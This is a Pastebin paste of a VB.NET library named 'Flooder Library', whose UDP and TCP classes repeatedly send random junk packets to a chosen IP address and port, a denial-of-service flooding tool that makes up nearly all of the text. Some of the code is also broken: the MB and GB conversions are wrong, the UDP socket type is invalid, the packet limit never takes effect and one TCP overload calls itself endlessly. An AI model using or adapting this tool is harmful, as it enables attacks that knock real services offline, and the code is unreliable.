Anonim_ID

Flooder Library

Jul 29th, 2013
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 5.86 KB | None | 0 0
  1. Imports System
  2. Imports System.Net
  3. Imports System.Text
  4. Imports System.Diagnostics
  5. Imports System.Net.Sockets
  6.  
  7. Namespace Flood
  8. #Region "Packet Monitoring"
  9.     Class Data
  10.         Public Bytes As Integer
  11.         Public ReadOnly Property KB() As Integer
  12.             Get
  13.                 Return Convert.ToInt32(Bytes / 1024)
  14.             End Get
  15.         End Property
  16.         Public ReadOnly Property MB() As Integer
  17.             Get
  18.                 Return Convert.ToInt32(Bytes / 2028)
  19.             End Get
  20.         End Property
  21.         Public ReadOnly Property GB() As Integer
  22.             Get
  23.                 Return Convert.ToInt32(Bytes / 3052)
  24.             End Get
  25.         End Property
  26.     End Class
  27. #End Region
  28.  
  29.     Class UDP
  30. #Region "Variables"
  31.         Public Client As Socket
  32.         Public IP As String
  33.         Public Port As Integer
  34.         Public Packets As Integer
  35.         Public PacketSize As Integer
  36.         Public MaxPackets As Integer
  37.         Public NetworkInfo As New Data()
  38.         Public Flooding As Boolean
  39. #End Region
  40.  
  41.         Sub New()
  42.  
  43.         End Sub
  44.  
  45. #Region "Flooding"
  46.  
  47.         Sub StopFlood()
  48.             Flooding = False
  49.         End Sub
  50.  
  51.         Sub Flood()
  52.             Flood(IP, Port)
  53.         End Sub
  54.  
  55.         Sub Flood(ByVal [IP] As String)
  56.             Flood([IP], Port, MaxPackets)
  57.         End Sub
  58.  
  59.         Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer)
  60.             Flood([IP], [Port], MaxPackets)
  61.         End Sub
  62.  
  63.         Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer, ByVal [MaxPackets] As Integer)
  64.             Flood([IP], [Port], [MaxPackets], PacketSize)
  65.         End Sub
  66.  
  67.         Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer, ByVal mPackets As Integer, ByVal pSize As Integer)
  68.             If String.IsNullOrEmpty([IP]) Then Throw New ArgumentNullException("IP parameter can not be null or empty.")
  69.             If [Port] > 65535 Then Throw New ArgumentOutOfRangeException("Port parameter can not exceed 65,535.")
  70.             If mPackets < 0 Then Throw New ArgumentOutOfRangeException("Max packets parameter can not be below the value of 0.")
  71.             If pSize > 65000 Then Throw New ArgumentOutOfRangeException("Packet size can not exceed 65,000.")
  72.             If pSize < 0 Then Throw New ArgumentOutOfRangeException("Packet size can not be below the value of 0.")
  73.             If pSize = 0 Then pSize = 3000
  74.             Flooding = True
  75.             Try
  76.                 Dim R As New Random(Guid.NewGuid().GetHashCode())
  77.                 Client = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Udp)
  78.                 Client.Connect(New IPEndPoint(Long.Parse([IP]), [Port]))
  79.                 While Flooding
  80.                     If Not mPackets = 0 AndAlso Packets > mPackets - 1 Then Flooding = False
  81.                     Dim Junkbyte(pSize) As Byte
  82.                     R.NextBytes(Junkbyte)
  83.                     If Client.Connected Then
  84.                         Client.Send(Junkbyte, (Junkbyte.Length - 1), SocketFlags.None)
  85.                         NetworkInfo.Bytes += pSize
  86.                     End If
  87.                 End While
  88.             Catch ex As Exception
  89.                 Throw New Exception("Flooding Error: " & ex.Message)
  90.             End Try
  91.         End Sub
  92. #End Region
  93.  
  94.     End Class
  95.     Class TCP
  96. #Region "Variables"
  97.         Public Client As Socket
  98.         Public IP As String
  99.         Public Port As Integer
  100.         Public Packets As Integer
  101.         Public PacketSize As Integer
  102.         Public MaxPackets As Integer
  103.         Public NetworkInfo As New Data()
  104.         Public Flooding As Boolean
  105. #End Region
  106.  
  107.         Sub New()
  108.  
  109.         End Sub
  110.  
  111. #Region "Flooding"
  112.  
  113.         Sub StopFlood()
  114.             Flooding = False
  115.         End Sub
  116.  
  117.         Sub Flood()
  118.             Flood(IP, Port, MaxPackets, PacketSize)
  119.         End Sub
  120.  
  121.         Sub Flood(ByVal [IP] As String)
  122.             Flood([IP], Port, MaxPackets)
  123.         End Sub
  124.  
  125.         Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer)
  126.             Flood([IP], [Port], MaxPackets)
  127.         End Sub
  128.  
  129.         Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer, ByVal [MaxPackets] As Integer)
  130.             Flood([IP], [Port], [MaxPackets])
  131.         End Sub
  132.  
  133.         Sub Flood(ByVal [IP] As String, ByVal [Port] As Integer, ByVal mPackets As Integer, ByVal pSize As Integer)
  134.             If String.IsNullOrEmpty([IP]) Then Throw New ArgumentNullException("IP parameter can not be null or empty.")
  135.             If [Port] > 65535 Then Throw New ArgumentOutOfRangeException("Port parameter can not exceed 65,535.")
  136.             If mPackets < 0 Then Throw New ArgumentOutOfRangeException("Max packets parameter can not be below the value of 0.")
  137.             If pSize > 65000 Then Throw New ArgumentOutOfRangeException("Packet size can not exceed 65,000.")
  138.             If pSize < 0 Then Throw New ArgumentOutOfRangeException("Packet size can not be below the value of 0.")
  139.             If pSize = 0 Then pSize = 3000
  140.             Flooding = True
  141.             Try
  142.                 Dim R As New Random(Guid.NewGuid().GetHashCode())
  143.                 Client = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
  144.                 Client.Connect(New IPEndPoint(Long.Parse([IP]), [Port]))
  145.                 While Flooding
  146.                     If Not mPackets = 0 AndAlso Packets > mPackets - 1 Then Flooding = False
  147.                     Dim Junkbyte(pSize) As Byte
  148.                     R.NextBytes(Junkbyte)
  149.                     If Client.Connected Then
  150.                         Client.Send(Junkbyte, (Junkbyte.Length - 1), SocketFlags.None)
  151.                         NetworkInfo.Bytes += pSize
  152.                     End If
  153.                 End While
  154.             Catch ex As Exception
  155.                 Throw New Exception("Flooding Error: " & ex.Message)
  156.             End Try
  157.         End Sub
  158. #End Region
  159.  
  160.     End Class
  161. End Namespace
Add Comment
Please, Sign In to add comment